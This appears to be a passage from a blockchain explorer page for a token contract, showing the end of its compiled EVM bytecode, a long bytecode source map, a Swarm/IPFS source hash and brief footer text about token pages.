5b600060ff82169050919050565b60005b8381101561152657808201518184015260208101905061150b565b83811115611535576000848401525b50505050565b6000600282049050600182168061155357607f821691505b602082108114156115675761156661159c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6115e5816114b3565b81146115f057600080fd5b50565b6115fc816114f1565b811461160757600080fd5b5056fea2646970667358221220e2270b726294a542b652cb4e12815d58f0e349ac9c5c7fb81c3027188caee54b64736f6c63430008000033

Deployed Bytecode Sourcemap

7068:136:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3661:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4593:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3982:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5105:296;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4802:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3881:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4098:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1260:103;;;:::i;:::-;;955:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3769:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4233:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4434:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1371:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3661:100;3715:13;3748:5;3741:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3661:100;:::o;4593:201::-;4676:4;4693:13;4709:12;:10;:12::i;:::-;4693:28;;4732:32;4741:5;4748:7;4757:6;4732:8;:32::i;:::-;4782:4;4775:11;;;4593:201;;;;:::o;3982:108::-;4043:7;4070:12;;4063:19;;3982:108;:::o;5105:296::-;5202:15;5250:3;;;;;;;;;;;5236:17;;:10;:17;;;;:30;;5264:2;5236:30;;;5256:5;5236:30;5220:2;:47;;;;:::i;:::-;5202:65;;;;5278:46;5356:1;5346:11;;5389:4;5368:10;:18;5379:6;5368:18;;;;;;;;;;;;;;;:25;;;;5105:296;;;;:::o;4802:295::-;4933:4;4950:15;4968:12;:10;:12::i;:::-;4950:30;;4991:38;5007:4;5013:7;5022:6;4991:15;:38::i;:::-;5040:27;5050:4;5056:2;5060:6;5040:9;:27::i;:::-;5085:4;5078:11;;;4802:295;;;;;:::o;3881:93::-;3939:5;3964:2;3957:9;;3881:93;:::o;4098:127::-;4172:7;4199:9;:18;4209:7;4199:18;;;;;;;;;;;;;;;;4192:25;;4098:127;;;:::o;1260:103::-;841:13;:11;:13::i;:::-;1325:30:::1;1352:1;1325:18;:30::i;:::-;1260:103::o:0;955:87::-;1001:7;1028:6;;;;;;;;;;;1021:13;;955:87;:::o;3769:104::-;3825:13;3858:7;3851:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3769:104;:::o;4233:193::-;4312:4;4329:13;4345:12;:10;:12::i;:::-;4329:28;;4368;4378:5;4385:2;4389:6;4368:9;:28::i;:::-;4414:4;4407:11;;;4233:193;;;;:::o;4434:151::-;4523:7;4550:11;:18;4562:5;4550:18;;;;;;;;;;;;;;;:27;4569:7;4550:27;;;;;;;;;;;;;;;;4543:34;;4434:151;;;;:::o;1371:201::-;841:13;:11;:13::i;:::-;1480:1:::1;1460:22;;:8;:22;;;;1452:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1536:28;1555:8;1536:18;:28::i;:::-;1371:201:::0;:::o;173:98::-;226:7;253:10;246:17;;173:98;:::o;6166:380::-;6319:1;6302:19;;:5;:19;;;;6294:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6400:1;6381:21;;:7;:21;;;;6373:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6484:6;6454:11;:18;6466:5;6454:18;;;;;;;;;;;;;;;:27;6473:7;6454:27;;;;;;;;;;;;;;;:36;;;;6522:7;6506:32;;6515:5;6506:32;;;6531:6;6506:32;;;;;;:::i;:::-;;;;;;;;6166:380;;;:::o;6554:444::-;6692:24;6719:25;6729:5;6736:7;6719:9;:25::i;:::-;6692:52;;6779:17;6759:16;:37;6755:236;;6841:6;6821:16;:26;;6813:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6917:51;6926:5;6933:7;6961:6;6942:16;:25;6917:8;:51::i;:::-;6755:236;6554:444;;;;:::o;5409:749::-;5556:1;5540:18;;:4;:18;;;;5532:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5771:3;5762:6;5755;:13;;;;:::i;:::-;:19;;;;:::i;:::-;5611:14;;;;;;;;;;;:93;;;5719:4;5738:2;5611:140;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:164;;;;:::i;:::-;;5810:1;5796:16;;:2;:16;;;;5788:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5865:19;5887:9;:15;5897:4;5887:15;;;;;;;;;;;;;;;;5865:37;;5936:6;5921:11;:21;;5913:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;6053:6;6039:11;:20;6021:9;:15;6031:4;6021:15;;;;;;;;;;;;;;;:38;;;;6091:6;6074:9;:13;6084:2;6074:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;6139:2;6124:26;;6133:4;6124:26;;;6143:6;6124:26;;;;;;:::i;:::-;;;;;;;;5409:749;;;;:::o;1120:132::-;1195:12;:10;:12::i;:::-;1184:23;;:7;:5;:7::i;:::-;:23;;;1176:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1120:132::o;1580:191::-;1654:16;1673:6;;;;;;;;;;;1654:25;;1699:8;1690:6;;:17;;;;;;;;;;;;;;;;;;1754:8;1723:40;;1744:8;1723:40;;;;;;;;;;;;1580:191;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:143::-;;385:6;379:13;370:22;;401:33;428:5;401:33;:::i;:::-;360:80;;;;:::o;446:262::-;;554:2;542:9;533:7;529:23;525:32;522:2;;;570:1;567;560:12;522:2;613:1;638:53;683:7;674:6;663:9;659:22;638:53;:::i;:::-;628:63;;584:117;512:196;;;;:::o;714:407::-;;;839:2;827:9;818:7;814:23;810:32;807:2;;;855:1;852;845:12;807:2;898:1;923:53;968:7;959:6;948:9;944:22;923:53;:::i;:::-;913:63;;869:117;1025:2;1051:53;1096:7;1087:6;1076:9;1072:22;1051:53;:::i;:::-;1041:63;;996:118;797:324;;;;;:::o;1127:552::-;;;;1269:2;1257:9;1248:7;1244:23;1240:32;1237:2;;;1285:1;1282;1275:12;1237:2;1328:1;1353:53;1398:7;1389:6;1378:9;1374:22;1353:53;:::i;:::-;1343:63;;1299:117;1455:2;1481:53;1526:7;1517:6;1506:9;1502:22;1481:53;:::i;:::-;1471:63;;1426:118;1583:2;1609:53;1654:7;1645:6;1634:9;1630:22;1609:53;:::i;:::-;1599:63;;1554:118;1227:452;;;;;:::o;1685:407::-;;;1810:2;1798:9;1789:7;1785:23;1781:32;1778:2;;;1826:1;1823;1816:12;1778:2;1869:1;1894:53;1939:7;1930:6;1919:9;1915:22;1894:53;:::i;:::-;1884:63;;1840:117;1996:2;2022:53;2067:7;2058:6;2047:9;2043:22;2022:53;:::i;:::-;2012:63;;1967:118;1768:324;;;;;:::o;2098:284::-;;2217:2;2205:9;2196:7;2192:23;2188:32;2185:2;;;2233:1;2230;2223:12;2185:2;2276:1;2301:64;2357:7;2348:6;2337:9;2333:22;2301:64;:::i;:::-;2291:74;;2247:128;2175:207;;;;:::o;2388:118::-;2475:24;2493:5;2475:24;:::i;:::-;2470:3;2463:37;2453:53;;:::o;2512:109::-;2593:21;2608:5;2593:21;:::i;:::-;2588:3;2581:34;2571:50;;:::o;2627:364::-;;2743:39;2776:5;2743:39;:::i;:::-;2798:71;2862:6;2857:3;2798:71;:::i;:::-;2791:78;;2878:52;2923:6;2918:3;2911:4;2904:5;2900:16;2878:52;:::i;:::-;2955:29;2977:6;2955:29;:::i;:::-;2950:3;2946:39;2939:46;;2719:272;;;;;:::o;2997:367::-;;3160:67;3224:2;3219:3;3160:67;:::i;:::-;3153:74;;3257:34;3253:1;3248:3;3244:11;3237:55;3323:5;3318:2;3313:3;3309:12;3302:27;3355:2;3350:3;3346:12;3339:19;;3143:221;;;:::o;3370:370::-;;3533:67;3597:2;3592:3;3533:67;:::i;:::-;3526:74;;3630:34;3626:1;3621:3;3617:11;3610:55;3696:8;3691:2;3686:3;3682:12;3675:30;3731:2;3726:3;3722:12;3715:19;;3516:224;;;:::o;3746:366::-;;3909:67;3973:2;3968:3;3909:67;:::i;:::-;3902:74;;4006:34;4002:1;3997:3;3993:11;3986:55;4072:4;4067:2;4062:3;4058:12;4051:26;4103:2;4098:3;4094:12;4087:19;;3892:220;;;:::o;4118:327::-;;4281:67;4345:2;4340:3;4281:67;:::i;:::-;4274:74;;4378:31;4374:1;4369:3;4365:11;4358:52;4436:2;4431:3;4427:12;4420:19;;4264:181;;;:::o;4451:370::-;;4614:67;4678:2;4673:3;4614:67;:::i;:::-;4607:74;;4711:34;4707:1;4702:3;4698:11;4691:55;4777:8;4772:2;4767:3;4763:12;4756:30;4812:2;4807:3;4803:12;4796:19;;4597:224;;;:::o;4827:330::-;;4990:67;5054:2;5049:3;4990:67;:::i;:::-;4983:74;;5087:34;5083:1;5078:3;5074:11;5067:55;5148:2;5143:3;5139:12;5132:19;;4973:184;;;:::o;5163:369::-;;5326:67;5390:2;5385:3;5326:67;:::i;:::-;5319:74;;5423:34;5419:1;5414:3;5410:11;5403:55;5489:7;5484:2;5479:3;5475:12;5468:29;5523:2;5518:3;5514:12;5507:19;;5309:223;;;:::o;5538:368::-;;5701:67;5765:2;5760:3;5701:67;:::i;:::-;5694:74;;5798:34;5794:1;5789:3;5785:11;5778:55;5864:6;5859:2;5854:3;5850:12;5843:28;5897:2;5892:3;5888:12;5881:19;;5684:222;;;:::o;5912:118::-;5999:24;6017:5;5999:24;:::i;:::-;5994:3;5987:37;5977:53;;:::o;6036:112::-;6119:22;6135:5;6119:22;:::i;:::-;6114:3;6107:35;6097:51;;:::o;6154:222::-;;6285:2;6274:9;6270:18;6262:26;;6298:71;6366:1;6355:9;6351:17;6342:6;6298:71;:::i;:::-;6252:124;;;;:::o;6382:332::-;;6541:2;6530:9;6526:18;6518:26;;6554:71;6622:1;6611:9;6607:17;6598:6;6554:71;:::i;:::-;6635:72;6703:2;6692:9;6688:18;6679:6;6635:72;:::i;:::-;6508:206;;;;;:::o;6720:210::-;;6845:2;6834:9;6830:18;6822:26;;6858:65;6920:1;6909:9;6905:17;6896:6;6858:65;:::i;:::-;6812:118;;;;:::o;6936:313::-;;7087:2;7076:9;7072:18;7064:26;;7136:9;7130:4;7126:20;7122:1;7111:9;7107:17;7100:47;7164:78;7237:4;7228:6;7164:78;:::i;:::-;7156:86;;7054:195;;;;:::o;7255:419::-;;7459:2;7448:9;7444:18;7436:26;;7508:9;7502:4;7498:20;7494:1;7483:9;7479:17;7472:47;7536:131;7662:4;7536:131;:::i;:::-;7528:139;;7426:248;;;:::o;7680:419::-;;7884:2;7873:9;7869:18;7861:26;;7933:9;7927:4;7923:20;7919:1;7908:9;7904:17;7897:47;7961:131;8087:4;7961:131;:::i;:::-;7953:139;;7851:248;;;:::o;8105:419::-;;8309:2;8298:9;8294:18;8286:26;;8358:9;8352:4;8348:20;8344:1;8333:9;8329:17;8322:47;8386:131;8512:4;8386:131;:::i;:::-;8378:139;;8276:248;;;:::o;8530:419::-;;8734:2;8723:9;8719:18;8711:26;;8783:9;8777:4;8773:20;8769:1;8758:9;8754:17;8747:47;8811:131;8937:4;8811:131;:::i;:::-;8803:139;;8701:248;;;:::o;8955:419::-;;9159:2;9148:9;9144:18;9136:26;;9208:9;9202:4;9198:20;9194:1;9183:9;9179:17;9172:47;9236:131;9362:4;9236:131;:::i;:::-;9228:139;;9126:248;;;:::o;9380:419::-;;9584:2;9573:9;9569:18;9561:26;;9633:9;9627:4;9623:20;9619:1;9608:9;9604:17;9597:47;9661:131;9787:4;9661:131;:::i;:::-;9653:139;;9551:248;;;:::o;9805:419::-;;10009:2;9998:9;9994:18;9986:26;;10058:9;10052:4;10048:20;10044:1;10033:9;10029:17;10022:47;10086:131;10212:4;10086:131;:::i;:::-;10078:139;;9976:248;;;:::o;10230:419::-;;10434:2;10423:9;10419:18;10411:26;;10483:9;10477:4;10473:20;10469:1;10458:9;10454:17;10447:47;10511:131;10637:4;10511:131;:::i;:::-;10503:139;;10401:248;;;:::o;10655:222::-;;10786:2;10775:9;10771:18;10763:26;;10799:71;10867:1;10856:9;10852:17;10843:6;10799:71;:::i;:::-;10753:124;;;;:::o;10883:214::-;;11010:2;10999:9;10995:18;10987:26;;11023:67;11087:1;11076:9;11072:17;11063:6;11023:67;:::i;:::-;10977:120;;;;:::o;11103:99::-;;11189:5;11183:12;11173:22;;11162:40;;;:::o;11208:169::-;;11326:6;11321:3;11314:19;11366:4;11361:3;11357:14;11342:29;;11304:73;;;;:::o;11383:305::-;;11442:20;11460:1;11442:20;:::i;:::-;11437:25;;11476:20;11494:1;11476:20;:::i;:::-;11471:25;;11630:1;11562:66;11558:74;11555:1;11552:81;11549:2;;;11636:18;;:::i;:::-;11549:2;11680:1;11677;11673:9;11666:16;;11427:261;;;;:::o;11694:191::-;;11754:20;11772:1;11754:20;:::i;:::-;11749:25;;11788:20;11806:1;11788:20;:::i;:::-;11783:25;;11827:1;11824;11821:8;11818:2;;;11832:18;;:::i;:::-;11818:2;11877:1;11874;11870:9;11862:17;;11739:146;;;;:::o;11891:185::-;;11949:18;11965:1;11949:18;:::i;:::-;11944:23;;11981:18;11997:1;11981:18;:::i;:::-;11976:23;;12018:1;12015;12012:8;12009:2;;;12023:18;;:::i;:::-;12009:2;12068:1;12065;12061:9;12053:17;;11934:142;;;;:::o;12082:96::-;;12148:24;12166:5;12148:24;:::i;:::-;12137:35;;12127:51;;;:::o;12184:90::-;;12261:5;12254:13;12247:21;12236:32;;12226:48;;;:::o;12280:126::-;;12357:42;12350:5;12346:54;12335:65;;12325:81;;;:::o;12412:77::-;;12478:5;12467:16;;12457:32;;;:::o;12495:86::-;;12570:4;12563:5;12559:16;12548:27;;12538:43;;;:::o;12587:307::-;12655:1;12665:113;12679:6;12676:1;12673:13;12665:113;;;12764:1;12759:3;12755:11;12749:18;12745:1;12740:3;12736:11;12729:39;12701:2;12698:1;12694:10;12689:15;;12665:113;;;12796:6;12793:1;12790:13;12787:2;;;12876:1;12867:6;12862:3;12858:16;12851:27;12787:2;12636:258;;;;:::o;12900:320::-;;12981:1;12975:4;12971:12;12961:22;;13028:1;13022:4;13018:12;13049:18;13039:2;;13105:4;13097:6;13093:17;13083:27;;13039:2;13167;13159:6;13156:14;13136:18;13133:38;13130:2;;;13186:18;;:::i;:::-;13130:2;12951:269;;;;:::o;13226:180::-;13274:77;13271:1;13264:88;13371:4;13368:1;13361:15;13395:4;13392:1;13385:15;13412:180;13460:77;13457:1;13450:88;13557:4;13554:1;13547:15;13581:4;13578:1;13571:15;13598:102;;13690:2;13686:7;13681:2;13674:5;13670:14;13666:28;13656:38;;13646:54;;;:::o;13706:122::-;13779:24;13797:5;13779:24;:::i;:::-;13772:5;13769:35;13759:2;;13818:1;13815;13808:12;13759:2;13749:79;:::o;13834:122::-;13907:24;13925:5;13907:24;:::i;:::-;13900:5;13897:35;13887:2;;13946:1;13943;13936:12;13887:2;13877:79;:::o

Swarm Source

ipfs://e2270b726294a542b652cb4e12815d58f0e349ac9c5c7fb81c3027188caee54b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.